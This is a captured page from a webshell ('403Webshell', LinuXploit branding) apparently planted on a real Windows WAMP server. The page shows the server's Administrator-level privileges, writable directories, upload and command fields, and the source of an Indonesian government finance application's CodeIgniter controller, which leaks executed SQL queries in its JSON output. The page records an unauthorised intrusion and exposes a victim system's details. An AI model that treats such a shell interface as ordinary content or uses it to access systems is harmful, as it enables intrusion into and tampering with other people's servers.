403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /wamp/www/SIPBOS_2020/application/modules/setoran_pfk/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /wamp/www/SIPBOS_2020/application/modules/setoran_pfk/controllers/setoran_pfk_lama.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Setoran_pfk extends Aktivitas_Controller {

  public function __construct()
  {
    parent::__construct();
    $this->modul_name = 'setoran_pfk';
    $this->modul_display = 'Setoran PFK';
    $this->view_form = 'setoranpfk_form';
    $this->view_daftar = 'setoranpfk_view';
    $this->report_daftar = 'Daftar Setoran PFK';
    $this->report_form = 'Form Setoran PFK';
    $this->load->model('Setoranpfk_model','data_model');

    $this->message_aktivitas_dihapus = 'Setoran PFK telah dihapus.';
    $this->message_aktivitas_gagal_dihapus = 'Setoran PFK telah dicairkan, tidak bisa dihapus.';
  }

  function validasi()
  {
    $this->form_validation->set_rules('id_sd', 'Sumber Dana', 'required|trim|integer');
    $this->form_validation->set_rules('kasda', 'Akun Kasda', 'required|trim|integer');

    /* TODO : cek rincian ada isinya atau tidak */
  }
  
  function _cek_bku()
  {
    // lakukan pengecekan bku hanya untuk Setoran PFK yang sudah disimpan
    // return TRUE jika sudah masuk BKU
    $id = (int) $this->input->post('id');
    if ($id != 0) return $this->data_model->check_bku($id);
    else return FALSE;
  }

  function rinci($id=0)
  {
    $result = $this->data_model->get_rinci_by_id($id);

    $response = (object) NULL;
    if ($result){
      for($i=0; $i<count($result); $i++)
      {
        $response->rows[$i]['id'] = $result[$i]['ID_REKENING'];
        $response->rows[$i]['cell']=array(
              $result[$i]['ID_REKENING'],
              $result[$i]['KODE_REKENING'],
              $result[$i]['NAMA_REKENING'],
              $result[$i]['NOMINAL'],
        );
      }
    }
    echo json_encode($response);
  }

  public function sisa_rekening()
  {
    $param = array(
      'id_rekening' => $this->input->post('id_rekening') ? $this->input->post('id_rekening') : 0,
      'tanggal' => $this->input->post('tanggal') ? $this->input->post('tanggal') : '',
      'id_aktivitas' => $this->input->post('id') ? $this->input->post('id') : 0
    );

    $result = $this->data_model->get_sisa_rekening($param);

    $response = (object) NULL;
    $response = array(
          'idr' => $param['id_rekening'],
          'sisa' => isset($result['NOMINAL']) ? $result['NOMINAL'] : 0,
          'pfk' => isset($result['NOMINAL_PFK']) ? $result['NOMINAL_PFK'] : 0,
          'setor' => isset($result['NOMINAL_SETOR']) ? $result['NOMINAL_SETOR'] : 0,
          'sql' => $this->db->queries,
    );
    echo json_encode($response);
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit